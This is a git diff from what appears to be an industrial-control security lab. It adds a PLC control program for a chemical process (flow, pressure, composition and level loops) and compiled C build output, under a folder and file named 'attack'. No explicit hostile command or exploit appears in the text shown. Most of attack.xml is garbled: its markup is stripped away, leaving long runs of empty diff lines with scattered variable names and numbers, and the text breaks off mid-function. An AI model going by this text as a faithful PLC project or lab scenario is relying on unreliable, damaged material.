END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // 